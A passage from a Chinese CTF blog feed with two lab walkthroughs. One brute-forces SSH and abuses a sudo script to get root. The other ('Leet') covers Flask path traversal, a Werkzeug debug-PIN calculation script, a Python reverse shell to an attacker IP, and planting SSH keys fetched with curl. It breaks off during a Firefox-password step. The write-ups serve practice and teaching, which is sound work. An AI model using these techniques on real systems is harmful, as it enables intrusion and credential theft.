&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;tuf:x:1000:1000:KQNPHFqG**JHcYJossIe:/home/tuf:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写个python脚本自动生成所有**可能(*尝试字母和数字)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;import itertools
import string

template = &amp;quot;KQNPHFqG**JHcYJossIe&amp;quot;
charset = string.ascii_letters + string.digits  # a-zA-Z0-9

with open(&amp;quot;full_password_list.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:
    for a, b in itertools.product(charset, repeat=2):
        f.write(template.replace(&amp;quot;**&amp;quot;, a + b) + &amp;quot;\n&amp;quot;)

print(&amp;quot;Done, total:&amp;quot;, len(charset) ** 2)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ssh爆破&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# medusa -h 192.168.0.105 -u tuf -P full_password_list.txt -M ssh -t 64 -n 22 -O medusa_result.txt -f

SUCCESS:KQNPHFqG6mJHcYJossIe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功获取凭据tuf/KQNPHFqG6mJHcYJossIe&lt;/p&gt;
&lt;h2&gt;sudo -l&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;tuf@112:~$ sudo -l
Matching Defaults entries for tuf on 112:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tuf may run the following commands
        on 112:
    (ALL) NOPASSWD: /opt/112.sh
tuf@112:~$ 
tuf@112:~$ cat /opt/112.sh 
#!/bin/bash
input_url=&amp;quot;&amp;quot;
output_file=&amp;quot;&amp;quot;
use_file=false
regex=&amp;#39;^https://maze-sec.com/[a-zA-Z0-9/]*$&amp;#39;
while getopts &amp;quot;:u:o:&amp;quot; opt; do
    case ${opt} in
        u) input_url=&amp;quot;$OPTARG&amp;quot; ;;
        o) output_file=&amp;quot;$OPTARG&amp;quot;; use_file=true ;;
        \?) echo &amp;quot;错误: 无效选项 -$OPTARG&amp;quot;; exit 1 ;;
        :) echo &amp;quot;错误: 选项 -$OPTARG 需要一个参数&amp;quot;; exit 1 ;;
    esac
done
if [[ -z &amp;quot;$input_url&amp;quot; ]]; then
    echo &amp;quot;错误: 必须使用 -u 参数提供URL&amp;quot;
    exit 1
fi
if [[ ! &amp;quot;$input_url&amp;quot; =~ ^https://maze-sec.com/ ]]; then
    echo &amp;quot;错误: URL必须以 https://maze-sec.com/ 开头&amp;quot;
    exit 1
fi
if [[ ! &amp;quot;$input_url&amp;quot; =~ $regex ]]; then
    echo &amp;quot;错误: URL包含非法字符，只允许字母、数字和斜杠&amp;quot;
    exit 1
fi
if (( RANDOM % 2 )); then
    result=&amp;quot;$input_url is a good url.&amp;quot;
else
    result=&amp;quot;$input_url is not a good url.&amp;quot;
fi
if [ &amp;quot;$use_file&amp;quot; = true ]; then
    echo &amp;quot;$result&amp;quot; &amp;gt; &amp;quot;$output_file&amp;quot;
    echo &amp;quot;结果已保存到: $output_file&amp;quot;
else
    echo &amp;quot;$result&amp;quot;
fi
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以写入任意文件 但内容固定&lt;/p&gt;
&lt;p&gt;这一步开始卡住了，思路跑偏了，以为是通过root让系统配置文件进行覆盖，没想过覆盖自身&lt;/p&gt;
&lt;h3&gt;❌ sudoers&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;覆盖 &lt;code&gt;/etc/sudoers&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;结果：sudo 严格拒绝（Debian 正确行为）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ profile / bash 执行&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/profile&lt;/code&gt; 写入&lt;/li&gt;
&lt;li&gt;bash 将 &lt;code&gt;https://maze-sec.com/a&lt;/code&gt; 视为绝对路径命令&lt;/li&gt;
&lt;li&gt;PATH / alias / function 全部不可劫持&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ PAM 破坏&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/pam.d/su&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/pam.d/common-auth&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;结果：su 默认拒绝（fail-closed）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ /etc/passwd&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;root 用户消失&lt;/li&gt;
&lt;li&gt;su 明确提示 &lt;code&gt;user root does not exist&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;没有 UID fallback&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;❌ ld.so.preload&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;setuid 程序 继续执行&lt;/li&gt;
&lt;li&gt;权限未提升&lt;/li&gt;
&lt;li&gt;glibc 对 preload 失败是 ignore + secure-exec&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;尝试覆盖自身&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;tuf@112:~$ sudo /opt/112.sh -u &amp;quot;https://maze-sec.com/test&amp;quot; -o /opt/112.sh
结果已保存到: /opt/112.sh
tuf@112:~$ sudo /opt/112.sh
/opt/112.sh: 1: /opt/112.sh: https://maze-sec.com/test: not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以发现sudo执行后显示&lt;a href=&quot;https://maze-sec.com/test:&quot;&gt;https://maze-sec.com/test:&lt;/a&gt; not found&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;命令名: https://maze-sec.com/test
参数: is a good url.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;因为 &lt;strong&gt;&lt;code&gt;**/opt/112.sh**&lt;/code&gt;&lt;/strong&gt; 在执行 &lt;strong&gt;&lt;code&gt;**https://maze-sec.com/test**&lt;/code&gt;&lt;/strong&gt; 时，Shell 会在「当前工作目录」找这个路径，而当前目录就是 &lt;strong&gt;&lt;code&gt;**~**&lt;/code&gt;&lt;/strong&gt;（&lt;/strong&gt;&lt;code&gt;**/home/tuf**&lt;/code&gt;&lt;strong&gt;）。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;所以往 &lt;code&gt;~&lt;/code&gt; 里写。&lt;/p&gt;
&lt;p&gt;那么重置下环境&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linux 的解析方式：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;:&lt;/code&gt; → 普通字符&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/&lt;/code&gt; → 目录分隔符&lt;/li&gt;
&lt;li&gt;&lt;code&gt;//&lt;/code&gt; → 连续的 &lt;code&gt;/&lt;/code&gt;，等价于一个 &lt;code&gt;/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt; 所以系统看到的是：  &lt;/p&gt;
&lt;p&gt;https: / maze-sec.com / test&lt;/p&gt;
&lt;p&gt;也就是目录结构：  &lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;https:/
└── maze-sec.com/
    └── test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构造/home/tuf/https:/maze-sec.com/test&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;tuf@112:~$ mkdir -p ~/https:/maze-sec.com/
tuf@112:~$ echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; ~/https:/maze-sec.com/test
tuf@112:~$ echo &amp;#39;/bin/bash&amp;#39; &amp;gt;&amp;gt; ~/https:/maze-sec.com/test
tuf@112:~$ chmod +x ~/https:/maze-sec.com/test
tuf@112:~$ sudo /opt/112.sh -u &amp;quot;https://maze-sec.com/test&amp;quot; -o /opt/112.sh
结果已保存到: /opt/112.sh
tuf@112:~$ sudo /opt/112.sh
root@112:/home/tuf#

root@112:/home/tuf# cat /root/root.txt
flag{root-538dc127225a0c97b060b1ff9570390a}
root@112:/home/tuf# 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/112-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/qq-group/112/&quot;&gt;https://heathc1iff-sec.github.io/blog/qq-group/112/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 17 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Leet</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/leet/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/leet/</guid><description>Enjoy it.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Leet-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;ip定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.197   08:00:27:cf:b1:b4       (Unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.197
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-14 07:00 EST
Nmap scan report for 192.168.0.197
Host is up (0.00081s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 e1:5d:7c:b7:07:92:17:dc:46:76:7d:be:a9:50:43:d2 (ECDSA)
|_  256 a0:f3:b3:86:93:f5:58:82:88:dd:e5:10:db:35:de:62 (ED25519)
7777/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.11.2)
|_http-title: Site doesn&amp;#39;t have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/3.0.1 Python/3.11.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.82 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
    _|. _ _  _  _  _ _|_    v0.4.3.post1               
 (_||| _) (/_(_|| (_| )                              
                                                     
Extensions: php, aspx, jsp, html, js
HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/_192.168.0.197_7777/_26-01-14_07-02-22.txt

Target: http://192.168.0.197:7777/

[07:02:22] Starting:                                 
[07:02:41] 200 -    2KB - /console
[07:02:43] 500 -   14KB - /download

Task Completed 

┌──(web)─(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://192.168.0.197:7777 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.197:7777
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              js,yaml,php,txt,html,zip,db,bak
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download             (Status: 500) [Size: 14478]
/console              (Status: 200) [Size: 1563]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7777端口&lt;/h2&gt;
&lt;h3&gt;/index&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Leet-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt; a→4 e→3 i→1 o→0 s→5 t→7 b→8 g→6 l→1 z→2  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;查看下载文件的链接&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://192.168.0.197:7777/download?filename=converted_text.txt&quot;&gt;http://192.168.0.197:7777/download?filename=converted_text.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;尝试&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://192.168.0.197:7777/download?filename=../../../etc/passwd&quot;&gt;http://192.168.0.197:7777/download?filename=../../../etc/passwd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;成功下载出passwd&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://192.168.0.197:7777/download?filename=../../../tmp/&quot;&gt;http://192.168.0.197:7777/download?filename=../../../tmp/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Leet-3.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;     var CONSOLE_MODE = false,
          EVALEX = true,
          EVALEX_TRUSTED = false,
          SECRET = &amp;quot;XKgNAKb38bX6ogmO8S5t&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;http://192.168.0.197:7777/download?filename=../../../../opt/project/app.py&quot;&gt;http://192.168.0.197:7777/download?filename=../../../../opt/project/app.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;得到源码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;from flask import Flask, request, send_file, abort, render_template_string
from werkzeug.exceptions import BadRequest
import os

app = Flask(__name__)
app.config[&amp;#39;DEBUG&amp;#39;] = True 

@app.route(&amp;#39;/&amp;#39;, methods=[&amp;#39;GET&amp;#39;, &amp;#39;POST&amp;#39;])
def leet_converter():
    if request.method == &amp;#39;POST&amp;#39;:
        text = request.form[&amp;#39;text&amp;#39;]
        leet_text = text.translate(str.maketrans(&amp;quot;aeios&amp;quot;, &amp;quot;43105&amp;quot;))
        output_filename = &amp;quot;/tmp/converted_text.txt&amp;quot;
        with open(output_filename, &amp;quot;w&amp;quot;) as f:
            f.write(leet_text)
        return render_template_string(&amp;#39;&amp;#39;&amp;#39;
            &amp;lt;!DOCTYPE html&amp;gt;
            &amp;lt;html&amp;gt;
            &amp;lt;head&amp;gt;
		&amp;lt;title&amp;gt;L33T Convertor&amp;lt;/title&amp;gt;
                &amp;lt;style&amp;gt;
                    body { background-color: #333; color: #ddd; font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace; margin: 0; padding: 20px; }
                    .container { max-width: 600px; margin: auto; padding: 20px; background-color: #444; border-radius: 8px; }
                    h2 {
		    color: #eee;
    		    text-align: center;
		    }

                    a, a:visited { color: #dcdcdc; text-decoration: underline; }
                    a:hover { color: #ffffff; }
                    form { display: flex; flex-direction: column; }
                    input[type=&amp;quot;text&amp;quot;], input[type=&amp;quot;submit&amp;quot;] { padding: 10px; margin-top: 10px; border-radius: 4px; border: 1px solid #555; background: #555; color: #ddd; }
                    input[type=&amp;quot;submit&amp;quot;] { cursor: pointer; }
                    input[type=&amp;quot;submit&amp;quot;]:hover { background: #666; }
                &amp;lt;/style&amp;gt;
            &amp;lt;/head&amp;gt;
            &amp;lt;body&amp;gt;
                &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
                    &amp;lt;h2&amp;gt;L33T converter&amp;lt;/h2&amp;gt;
                    &amp;lt;form method=&amp;quot;post&amp;quot;&amp;gt;
                        &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;text&amp;quot; placeholder=&amp;quot;Type your text here&amp;quot;&amp;gt;
                        &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Convert to L33T&amp;quot;&amp;gt;
                    &amp;lt;/form&amp;gt;
                    {% if leet_text %}
                        &amp;lt;p&amp;gt;Résultat : {{ leet_text }}&amp;lt;/p&amp;gt;
                        &amp;lt;a href=&amp;quot;/download?filename=converted_text.txt&amp;quot;&amp;gt;Download file text&amp;lt;/a&amp;gt;
                    {% endif %}
                &amp;lt;/div&amp;gt;
            &amp;lt;/body&amp;gt;
            &amp;lt;/html&amp;gt;
        &amp;#39;&amp;#39;&amp;#39;, leet_text=leet_text)
    else:
        return render_template_string(&amp;#39;&amp;#39;&amp;#39;
            &amp;lt;!DOCTYPE html&amp;gt;
            &amp;lt;html&amp;gt;
            &amp;lt;head&amp;gt;
                &amp;lt;style&amp;gt;
                    body { background-color: #333; color: #ddd; font-family: &amp;quot;Courier New&amp;quot;, Courier, monospace; margin: 0; padding: 20px; }
                    .container { max-width: 600px; margin: auto; padding: 20px; background-color: #444; border-radius: 8px; }
                    h2 { color: #eee; }
                    form { display: flex; flex-direction: column; }
                    input[type=&amp;quot;text&amp;quot;], input[type=&amp;quot;submit&amp;quot;] { padding: 10px; margin-top: 10px; border-radius: 4px; border: 1px solid #555; background: #555; color: #ddd; }
                    input[type=&amp;quot;submit&amp;quot;] { cursor: pointer; }
                    input[type=&amp;quot;submit&amp;quot;]:hover { background: #666; }
                &amp;lt;/style&amp;gt;
            &amp;lt;/head&amp;gt;
            &amp;lt;body&amp;gt;
                &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;
                    &amp;lt;center&amp;gt;&amp;lt;h2&amp;gt;L33T Converter&amp;lt;/h2&amp;gt;&amp;lt;/center&amp;gt;
                    &amp;lt;form method=&amp;quot;post&amp;quot;&amp;gt;
                        &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;text&amp;quot; placeholder=&amp;quot;Type your text here&amp;quot;&amp;gt;
                        &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Convert to L33T&amp;quot;&amp;gt;
                    &amp;lt;/form&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/body&amp;gt;
            &amp;lt;/html&amp;gt;
        &amp;#39;&amp;#39;&amp;#39;)

@app.route(&amp;#39;/download&amp;#39;)
def download_file():
    filename = request.args.get(&amp;#39;filename&amp;#39;)

    if not filename or filename.startswith(&amp;quot;/&amp;quot;):
        raise ValueError(&amp;quot;Parameter &amp;#39;filename&amp;#39; invalid or missing.&amp;quot;)

    filepath = os.path.join(&amp;quot;/tmp&amp;quot;, filename)

    try:
        return send_file(filepath, as_attachment=True)
    except Exception as e:
        raise e

if __name__ == &amp;#39;__main__&amp;#39;:
    app.run(debug=True, host=&amp;#39;0.0.0.0&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;写个脚本计算pin码&lt;/p&gt;
&lt;h2&gt;计算pin码&lt;/h2&gt;
&lt;h3&gt;为什么需要计算 PIN 码？&lt;/h3&gt;
&lt;p&gt;Werkzeug 是 Flask 的底层 WSGI 工具库。当 Flask 应用在调试模式（&lt;code&gt;debug=True&lt;/code&gt;）下崩溃时，会显示一个交互式调试器页面。这个调试器有一个 &lt;strong&gt;Python 控制台&lt;/strong&gt;，可以用来执行任意 Python 代码（RCE）。&lt;/p&gt;
&lt;p&gt;为了安全，Werkzeug 要求输入 &lt;strong&gt;PIN 码&lt;/strong&gt; 才能解锁这个控制台。但这个 PIN 码是基于&lt;strong&gt;系统特定信息&lt;/strong&gt;生成的，如果攻击者能获取这些信息，就可以计算出 PIN 码。&lt;/p&gt;
&lt;h3&gt;PIN 码计算需要的信息：&lt;/h3&gt;
&lt;p&gt;根据 Werkzeug 的源码，计算 PIN 码需要以下 6 个信息：&lt;/p&gt;
&lt;h4&gt;1. 用户名 - 运行 Flask 进程的用户&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;获取方式：读取 &lt;code&gt;/proc/self/status&lt;/code&gt; 或 &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/status&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查找 &lt;code&gt;Uid:&lt;/code&gt; 或 &lt;code&gt;Name:&lt;/code&gt; 字段&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. modname - 模块名（通常是 &lt;code&gt;&amp;#39;flask.app&amp;#39;&lt;/code&gt;）&lt;/h4&gt;
&lt;h4&gt;3. 应用名 - （通常是 &lt;code&gt;&amp;#39;Flask&amp;#39;&lt;/code&gt;）&lt;/h4&gt;
&lt;h4&gt;4. 文件路径 - Flask 库的绝对路径&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;我们已经知道：&lt;code&gt;/opt/project/venv/lib/python3.11/site-packages/flask/app.py&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;5. 机器 ID - 系统的唯一标识&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;我们已经获取：&lt;code&gt;f6791f240ce6407ea271e86b78ac3bdb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;来自 &lt;code&gt;/etc/machine-id&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;6. cgroup 信息 - 容器的 cgroup 信息（如果是容器环境）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;获取方式：读取 &lt;code&gt;/proc/self/cgroup&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个靶机有个bug点就是&lt;code&gt;/proc/self/cgroup&lt;/code&gt;不容易取出来&lt;/p&gt;
&lt;p&gt;靠玄学才会取出来，看wp用火狐可以用别的取不出来，我怎么都取不出来&lt;/p&gt;
&lt;p&gt;获取pin码生成脚本&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;curl &amp;quot;http://192.168.0.197:7777/download?filename=../../../../opt/project/venv/lib/python3.11/site-packages/werkzeug/debug/__init__.py&amp;quot;  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt; 尝试计算pin，可以参考&lt;code&gt;https://github.com/wdahlenburg/werkzeug-debug-console-bypass&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;/etc/machine-id
# f6791f240ce6407ea271e86b78ac3bdb
/proc/sys/kernel/random/boot_id
# da68b9a7-336e-40df-879a-f38a6447bfe9
/proc/self/cgroup
# 0::/system.slice/flaskapp.service
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;MAC地址: 08:00:27:cf:b1:b4
MAC十进制: 8796760945076
用户名: www-data
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;#!/bin/python3
import hashlib
from itertools import chain

probably_public_bits = [
        &amp;#39;www-data&amp;#39;,# username
        &amp;#39;flask.app&amp;#39;,# modname
        &amp;#39;Flask&amp;#39;,# getattr(app, &amp;#39;__name__&amp;#39;, getattr(app.__class__, &amp;#39;__name__&amp;#39;))
        &amp;#39;/opt/project/venv/lib/python3.11/site-packages/flask/app.py&amp;#39; # getattr(mod, &amp;#39;__file__&amp;#39;, None),
]

private_bits = [
        &amp;#39;8796757588703&amp;#39;,# str(uuid.getnode()),  /sys/class/net/ens33/address 
        # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
        &amp;#39;f6791f240ce6407ea271e86b78ac3bdbflaskapp.service&amp;#39;
]

h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
        if not bit:
                continue
        if isinstance(bit, str):
                bit = bit.encode(&amp;#39;utf-8&amp;#39;)
        h.update(bit)
h.update(b&amp;#39;cookiesalt&amp;#39;)

cookie_name = &amp;#39;__wzd&amp;#39; + h.hexdigest()[:20]

num = None
if num is None:
        h.update(b&amp;#39;pinsalt&amp;#39;)
        num = (&amp;#39;%09d&amp;#39; % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
        for group_size in 5, 4, 3:
                if len(num) % group_size == 0:
                        rv = &amp;#39;-&amp;#39;.join(num[x:x + group_size].rjust(group_size, &amp;#39;0&amp;#39;)
                                                  for x in range(0, len(num), group_size))
                        break
        else:
                rv = num

print(&amp;quot;Pin: &amp;quot; + rv)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;死活失败&lt;/p&gt;
&lt;p&gt;我参考了其他大佬的WP，发现其余都是不变的，变化的只有网卡的&lt;code&gt;MAC&lt;/code&gt;地址&lt;/p&gt;
&lt;p&gt;换了个环境，在此环境下&lt;code&gt;VirtualBox&lt;/code&gt;版本为&lt;code&gt;6.0.14&lt;/code&gt;，导入靶机时默认设置&lt;/p&gt;
&lt;p&gt;生成的&lt;code&gt;pin&lt;/code&gt;码即可验证通过&lt;/p&gt;
&lt;h3&gt;/console&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Leet-4.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;控制台已被锁定，需要输入 PIN 才能解锁。你可以在运行该服务器的 shell 的标准输出中找到打印出来的 PIN。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入pin码进入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Leet-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;一个python命令框&lt;/p&gt;
&lt;p&gt;直接反弹shell&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;quot;192.168.0.106&amp;quot;,8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&amp;quot;bash&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;提权&lt;/h1&gt;
&lt;h2&gt;提权-riva&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;(remote) www-data@leet.hmv:/$ sudo -l
Matching Defaults entries for www-data on leet:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on leet:
    (riva) NOPASSWD: /usr/bin/micro
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/user-attachments/assets/5b94dfee-41c9-4dc7-95d7-7e66d2a3aa09&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Ctrl+b可以打开shell&lt;/p&gt;
&lt;p&gt;直接输入/bin/sh即可&lt;/p&gt;
&lt;h2&gt;提权root&lt;/h2&gt;
&lt;h3&gt;升级tty&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;python3 -c &amp;#39;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;riva@leet:~$ cat user.txt 
3a5cf7b35876169c280229c213ed63c1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;sudo -l
需要密码


curl http://192.168.0.106:8888/authorized_keys.pub -o /home/riva/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ssh riva@192.168.0.101 -i authorized_keys                
The authenticity of host &amp;#39;192.168.0.101 (192.168.0.101)&amp;#39; can&amp;#39;t be established.
ED25519 key fingerprint is SHA256:V0kY0pxHYgYYJeQXQGSoUclaPX71KqkFTnqjTNaj/Qk.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:41: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &amp;#39;192.168.0.101&amp;#39; (ED25519) to the list of known hosts.
Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
/bin/bash: connect: Connection refused
/bin/bash: line 1: /dev/tcp/192.168.0.106/4444: Connection refused
riva@leet:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;火狐取密&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;riva@leet:~$ dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
